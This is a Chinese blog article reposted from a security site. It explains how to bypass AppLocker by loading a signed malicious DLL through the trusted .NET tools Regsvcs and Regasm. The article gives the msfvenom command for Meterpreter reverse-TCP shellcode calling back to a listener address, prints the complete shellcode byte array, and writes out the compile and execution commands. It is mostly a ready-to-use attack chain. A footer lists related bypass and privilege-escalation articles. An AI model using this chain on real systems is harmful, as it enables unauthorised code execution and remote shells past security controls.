绕过AppLocker系列之Regasm和Regsvcs的利用

简介: 本文讲的是绕过AppLocker系列之Regasm和Regsvcs的利用,Regasm和Regsvcs都是用于向COM对象注册程序集文件的Microsoft二进制文件。 这些二进制文件可以在.NET框架中找到,并且由于它们是可信的,所以这两个Microsoft实用程序可以用于绕过AppLocker限制和执行任意代码。
本文讲的是 绕过AppLocker系列之Regasm和Regsvcs的利用Regasm和Regsvcs都是用于向COM对象注册程序集文件的Microsoft二进制文件。 这些二进制文件可以在.NET框架中找到,并且由于它们是可信的,所以这两个Microsoft实用程序可以用于绕过AppLocker限制和执行任意代码。

Casey Smith发现可以操纵这些可执行文件的功能,用于执行恶意代码。 唯一的要求是组装的文件需要使用强名称进行签名。 Microsoft已经发布了名为Sn.exe(Strong Name Tool)的实用程序,它是Visual Studio和.NET框架工具的一部分,可用于生成一对公钥和私钥。

下面的命令将生成一个私钥和一个公钥对,这些值将被写入一个名为key.snk的文件。

绕过AppLocker系列之Regasm和Regsvcs的利用

强名称密钥对生成

Metasploit MsfVenom可用于生成将在目标系统上执行的恶意shellcode。

msfvenom -a x86 –platform Windows -p   windows/meterpreter/reverse_tcp LHOST=192.168.100.3   LPORT=4444 -f csharp

生成好的regsvcs.dll 文件中的ShellCode需要替换成 Casey Smith 开发的用于打开一个 Meterpreter 会话的ShellCode而不是弹出一个计算器。

byte[] shellcode = new byte[333] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x64,0x03,0x68,0x02,
0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,
0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,
0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,
0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,
0x53,0xff,0xd5 };

绕过AppLocker系列之Regasm和Regsvcs的利用

使用 MsfVenom 生成 C#版的 ShellCode

微软.NET 框架包含了一个可以在cmd中运行的VC# 编译器并且可以生成恶意的 DLL 文件。key.snk 文件可以用来对生成的DLL作签名。

C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /r:System.EnterpriseServices.dll   /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs

绕过AppLocker系列之Regasm和Regsvcs的利用

编译 C# 代码

regsvcs.exe 和 RegAsm.exe 这两个文件可以用来执行DLL文件中的恶意Shellcode 代码,甚至可以打开一个 Meterpreter 会话。 这可以证明,在一个禁止执行恶意二进制文件的系统只能怪,利用AppLocker 可信的微软二进制文件的方式就可以绕过这些限制,从而达到执行恶意代码的目的。

C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe regsvcs.dll
C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe /U regsvcs.dll

绕过AppLocker系列之Regasm和Regsvcs的利用

利用 Regsvcs 执行 Shellcode

C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe regsvcs.dll
C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U regsvcs.dll

绕过AppLocker系列之Regasm和Regsvcs的利用

利用 RegAsm 执行 Shellcode

绕过AppLocker系列之Regasm和Regsvcs的利用

利用 Regsvcs 和 Regasm获得Meterpreter会话




原文发布时间为:2017年9月6日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
8月前
|
安全 API 网络安全
绕过IIS命令执行防护提权
绕过IIS命令执行防护提权
92 0
|
安全 Ubuntu Shell
|
XML Web App开发 安全
DVR登录绕过漏洞&&phpstudy后门rce
DVR登录绕过漏洞&&phpstudy后门rce
DVR登录绕过漏洞&&phpstudy后门rce
|
安全 Shell Linux
PowerShell攻击指南
PowerShell攻击指南
214 0
|
PHP Serverless
各种绕过
各种绕过 110 各种绕过哟http://120.24.86.145:8002/web7/ get 接收 id 和 uname post 接收 passwd sha1() 函数计算字符串的 SHA-1 散列 根据函数性质,嗯,又是构造数组就好...
1008 0
|
Windows
绕过AppLocker系列之MSIEXEC的利用
本文讲的是绕过AppLocker系列之MSIEXEC的利用,MSIEXEC是Windows操作系统中的一个实用程序,可用于从命令行安装或配置产品。 如果环境配置不正确,则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。
1759 0
|
API Windows 安全
绕过AppLocker系列之CreateRestrictedToken的利用
本文讲的是绕过AppLocker系列之CreateRestrictedToken的利用,大多数时候,绕过AppLocker都会利用可信的Microsoft二进制文件或者配置错误的策略进行代码执行,这些方法都比较简单。
1602 0
如何使用SilentCleanup绕过UAC?
本文讲的是如何使用SilentCleanup绕过UAC?,最近我在James Forshaw‏的博客学到了一个Win10下绕过UAC的技巧,该方法通过脚本实现,并且目前微软还未对该绕过方法进行修复(预计在Win10 RS3修复)。
1766 0
|
监控 测试技术
如何利用sdclt.exe绕过UAC?
本文讲的是如何利用sdclt.exe绕过UAC?,Matt Nelson‏ @enigma0x3在最近的文章中公开了一个绕过Win10 UAC的技巧,通过修改HKCU下的注册表键值实现对UAC的绕过
2024 0